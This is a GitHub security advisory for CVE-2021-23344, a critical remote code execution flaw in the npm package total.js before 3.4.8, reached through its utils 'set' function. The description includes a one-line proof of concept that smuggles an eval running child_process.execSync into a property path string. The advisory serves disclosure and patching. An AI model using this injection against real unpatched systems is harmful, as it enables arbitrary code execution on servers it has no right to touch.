GitHub Advisoryadvisory · npm

GHSA-3wj8-vp9h-rm6m total.js Remote Code Execution Vulnerability

CRITICAL Published 2021-03-19 Modified 2023-09-13 Official page ↗
Aliases
CVE-2021-23344
Ecosystem
npm
Packages
total.js
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2021-03-12

Affected packages

• npm total.js: < 3.4.8 → fixed in 3.4.8

Description

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application. Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`. PoC ```js // To be run in a nodejs console: require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//') ```

Related

Alias · CVE (1)

  • CVE-2021-23344 The package total.js before 3.4.8 are vulnerable to Remote Code Execution (RCE) via set. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References